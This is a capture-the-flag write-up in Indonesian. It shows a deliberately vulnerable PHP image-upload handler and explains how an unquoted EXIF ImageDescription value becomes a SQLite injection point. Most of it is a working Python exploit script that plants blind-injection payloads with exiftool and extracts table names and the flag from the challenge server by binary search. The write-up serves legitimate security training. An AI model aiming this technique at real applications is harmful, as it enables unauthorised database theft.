Soal
http://103.56.207.107:50001
<?php
include ('init.php');
session_start();
$upload_dir = "uploads/";
$upload_check = 1;
$imageFileType = strtolower(pathinfo($_FILES["legpic"]["name"], PATHINFO_EXTENSION));
$file_ = $upload_dir . md5(random_bytes(32)) . '.' . $imageFileType;
if (isset($_POST["submit"]) && isset($_POST['token'])) {
$check = getimagesize($_FILES["legpic"]["tmp_name"]);
if ($check !== false) {
$upload_check = 1;
}
else {
$upload_check = 0;
}
$t = $_POST['token'];
if ($t != $_SESSION['csrf_token']) {
die("Token tidak valid!");
}
$_SESSION['csrf_token'] = base64_encode(openssl_random_pseudo_bytes(32));
if ($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg" && $imageFileType != "gif") {
$upload_check = 0;
}
if ($upload_check == 0 || !move_uploaded_file($_FILES["legpic"]["tmp_name"], $file_)) {
die("gagal upload :(");
}
$exif = exif_read_data($file_);
parse_str($exif['ImageDescription'], $exif);
if(!$exif) die("Gambar tidak valid!");
$leg = SQLite3::escapeString($exif['leg']);
$db->exec("DELETE FROM Legs Where Session='{$_SESSION['session_token']}';");
query("INSERT INTO Legs (Session, Leg) VALUES ('{$_SESSION['session_token']}', {$leg})");
unlink($file_);
$dir = "results/";
$fname = $dir . sha1(openssl_random_pseudo_bytes(32)) . '.php';
$f = fopen($fname, "w");
$result = $db->query("SELECT Leg FROM Legs Where Session='{$_SESSION['session_token']}' Limit 1");
if (count($result) == 1) {
foreach($result as $res) {
if ($res['Leg'] == '1') {
fwrite($f, 'Satu kaki');
}
else
if ($res['Leg'] == '2') {
fwrite($f, 'Dua kaki');
}
else {
fwrite($f, 'Tidak diketahui');
}
}
}
fwrite($f, "<?php unlink(__FILE__); ?>");
fclose($f);
header("Location: /{$fname}");
$db = NULL;
}
die();
?>
Writeup
Diberikan website yang mempunya fitur untuk upload gambar dan membaca data melalui value dari exif ImageDescription, Jadi gambar yang kita upload akan di proses datanya ketika memiliki value pada “ImageDescription” dan value yang ada di dalamnya akan di passing ke fungsi parse_str
.
parse_str($exif['ImageDescription'], $exif);
if(!$exif) die("Gambar tidak valid!");
untuk menambahkan ImageDescription pada gambar kita bisa menggunakan exiftool exiftool -ImageDescription="leg=1" gambar.jpg
sehingga ketika di upload akan mengembalikan response Satu kaki
query("INSERT INTO Legs (Session, Leg) VALUES ('{$_SESSION['session_token']}', {$leg})");
pada kode di atas terlihat bahwa input yang kita masukkan dilempar kedalam query, sehingga kita dapat melakukan injeksi, namun terlihat ada filter yang di gunakan untuk mengescape inputan kita menggunakan $leg = SQLite3::escapeString($exif['leg']);
namun karena input kita tidak di wrap dengan quote di bagian query nya seperti '{$leg}'
jadi kita dapat melakukan injeksi tanpa menggunakan quote atau double, kemudian kita bisa mengkonstruksikan payload untuk melakukan blind sqlite injection.
import requests
import re
from StringIO import StringIO
from pycurl import *
import os
import pickle
url = "http://103.56.207.107:50001/upload.php"
headers = {
"Cache-Control": "max-age=0",
"Origin": "http://103.56.207.107:50001",
"Upgrade-Insecure-Requests": "1",
"Content-Type": "multipart/form-data",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.75 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8",
"Referer": "http://103.56.207.107:50001/",
"Accept-Language": "en-US,en;q=0.9,de;q=0.8,es;q=0.7,id;q=0.6,ms;q=0.5",
"Connection": "close",
"Cookie": "PHPSESSID=5d42tgrbtj0lifr04f02k3r1e6"
}
def check(data):
return re.search("Satu kaki", data)
def getToken():
req = requests.session()
greptoken = req.get("http://103.56.207.107:50001/", headers=headers)
token = str(re.search(r"type=\"hidden\" value=\"(.*)\"", greptoken.text).group(1).split("\"")[0]).strip()
return token
def upload(token):
c = Curl()
d = StringIO()
h = StringIO()
c.setopt(URL, url)
c.setopt(POST, 1)
c.setopt(HTTPPOST, [('legpic', (FORM_FILE, '1leg.jpg')), ('submit', 'Deteksi'), ('token', str(token))])
c.setopt(COOKIEFILE, 'cookie.txt')
c.setopt(COOKIEJAR, 'cookie.txt')
c.setopt(FOLLOWLOCATION, 1)
c.setopt(WRITEFUNCTION, d.write)
c.setopt(HEADERFUNCTION, h.write)
c.perform()
c.close()
return d.getvalue()
def blind(kolom,table):
passwd = ""
idx = 1
while (True):
lo = 1
hi = 255
temp = -1
while(lo <= hi):
mid = (lo + hi) / 2
# command = "exiftool -ImageDescription=\"leg=(SELECT CASE when hex(substr({},{},1)) <= hex(char({})) THEN 1 ELSE 2 END FROM {})\" 1leg.jpg".format(str(kolom),str(idx),str(mid),str(table))
command = "exiftool -ImageDescription=\"leg=(SELECT CASE when hex(substr({},{},1)) <= hex(char({})) THEN 1 ELSE 2 END FROM {}))--+-\" 1leg.jpg".format(str(kolom),str(idx),str(mid),str(table))
os.system(command)
res = upload(getToken())
if check(res):
hi = mid-1
temp = mid
else:
lo = mid+1
if (hi == 0): break
passwd += chr(temp)
print "Result [{}]: {}".format(table,passwd)
idx += 1
return passwd
# blind("sql","sqlite_master")
# CREATE TABLE Legs (Id INTEGER PRIMARY KEY, Session TEXT UNIQUE, Leg INTEGER)
# blind("name","sqlite_master where name!=char(76,101,103,115) and sql like(char(37,102,108,97,103,37))")
# mysecretflaag
# blind("sql","sqlite_master where name=char(109,121,115,101,99,114,101,116,102,108,97,97,103)")
# CREATE TABLE mysecretflaag (Id INTEGER PRIMARY KEY, thi
blind("this_is_real_flag","mysecretflaag")
#HackToday{blind_sqlite3_injection_via_exif_